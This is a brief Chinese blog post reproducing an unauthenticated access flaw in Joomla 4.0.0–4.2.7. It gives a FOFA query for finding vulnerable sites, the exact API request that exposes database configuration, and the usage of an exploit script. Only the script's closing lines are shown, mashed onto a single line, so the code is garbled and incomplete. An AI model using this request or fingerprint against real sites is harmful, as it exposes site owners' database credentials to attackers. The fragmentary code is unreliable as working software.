00 前言

这漏洞公开有阵子了好像,今天才复现了下

Jooml 在海外使用较多,是一套使用 PHP 和 MySQL 开发的开源、跨平台的内容管理系统(CMS)。
Joomla 4.0.0 至 4.2.7 版本中的 ApiRouter.php#parseApiRoute 在处理用户的 Get 请求时未对请求参数有效过滤,导致攻击者可向 Joomla 服务端点发送包含 public=true 参数的请求(如:/api/index.php/v1/config/application?public=true&key=value) 进行未授权访问

01 FOFA指纹

product="Joomla"


02 影响版本

4.0.0 <= Joomla <= 4.2.7

03 漏洞详情

在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。

未授权路径在:

/api/index.php/v1/config/application?public=true

我们可以直接看到数据库的配置信息。

if url != "": reqDatabase(url) if urlFileName != "": reqs(urlFileName)

if __name__ == '__main__': main()

缺依赖的话自行导入即可使用,使用命令:

python main.py  -u  http://127.0.0.1:8087/
